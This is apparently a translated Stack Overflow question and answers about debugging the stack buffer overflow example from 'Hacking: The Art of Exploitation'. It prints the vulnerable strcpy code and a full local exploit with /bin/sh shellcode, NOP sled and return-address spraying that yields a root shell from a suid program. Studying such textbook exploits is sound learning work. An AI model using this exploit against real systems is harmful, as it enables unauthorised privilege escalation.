【问题标题】:Hacking - The Art of Exploitation: debugging buffer overflow exampleHacking - The Art of Exploitation:调试缓冲区溢出示例
【发布时间】:2013-08-13 18:27:31
【问题描述】:

我正在阅读《黑客 - 剥削的艺术》一书。 有一个关于堆栈缓冲区溢出的示例。

这是被攻击程序“notesearch”的一部分源代码:

char searchstring[100];
// ...
if(argc > 1)                      
    strcpy(searchstring, argv[1]);   // <-- no length check

这里是攻击程序“exploit_notesearch”的来源:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");
   // <-- dumping full command string here
   system(command); // run exploit
   free(command);
}

运行exploit_notesearch 时,一切正常,我会得到一个root shell,因为notesearch 程序有suid 权限。 命令字符串包含要调用的程序的名称、NOP sled、shellcode 和 shellcode 的返回地址。

我想用 gdb 调试被利用的程序,看看这个漏洞是如何工作的。 为此,我将命令字符串(就在调用 system() 之前)转储到一个文件中(我们称之为 dump.txt)。 然后,我尝试从 shell 中获得相同的结果,直接调用被利用的程序,并将转储的命令字符串作为参数。

提示> $(cat dump.txt)

notesearch 程序启动了,但是我得到了一个分段错误,而不是 root shell。 我还通过脚本在很大范围内改变了返回地址。

我的问题,有什么区别:

  • 通过 shell 启动 notesearch

  • 通过系统启动notesearch

也许您还知道另一种通过 gdb 调试被利用程序的方法。

【问题讨论】:

  • 为什么不用gdb来单步执行整个程序呢?为什么要转储命令字符串?
  • 您是否有可能在具有堆栈执行保护的机器上运行和/或您将代码编译为 64 位?
  • 我尝试使用 set follow-fork-mode child 进入子节点,这不适用于 gdb 6.6(我必须使用这个 gdb,因为它包含在随书)。还尝试在孩子中添加一个 sleep() ,并在分叉后尝试附加到 PID - 不起作用导致 gdb 中的命令提示符在睡眠期间被禁用!?我正在使用带有旧 Ubuntu 版本的 Live CD,它不使用这些保护。在最新的环境和操作系统上编译时,漏洞利用不起作用,因为启用了许多诸如 ASLR 之类的东西。

标签: c linux overflow exploit


【解决方案1】:

得到它的工作: 在notesearch程序的main开头添加了以下几行,休眠45s:

#ifdef MY_DEBUG
printf("child running - sleep()\n");
fflush(stdout);
sleep(45);
printf("child running - sleep() finished\n");
#endif

然后我启动exploit_notesearch,它本身启动notesearch,现在等待45s。 在另一个 shell 中,我列出了所有正在运行的进程以获取 notesearch 进程的 PID。 然后我运行 gdb,附加到这个进程,然后可以在调试器中观察漏洞。

【讨论】:

    【解决方案2】:

    在exploit_notesearch.c中,返回地址是参考变量i计算的,该变量在exploit_notesearch.c的主函数中声明

    所以命令字符串现在包含返回地址 w.r.t 到变量 i。当你将命令字符串输出到一个文件中,然后直接用./notesearch &lt;command&gt;执行它时

    这个返回地址可能是指当前的notesearch程序无法访问的内存位置,因此是段错误。

    【讨论】:

      猜你喜欢
      • 2012-01-31
      • 2021-09-16
      • 1970-01-01
      • 2012-05-19
      • 2017-04-08
      • 2021-05-11
      • 2019-04-17
      • 1970-01-01
      相关资源
      最近更新 更多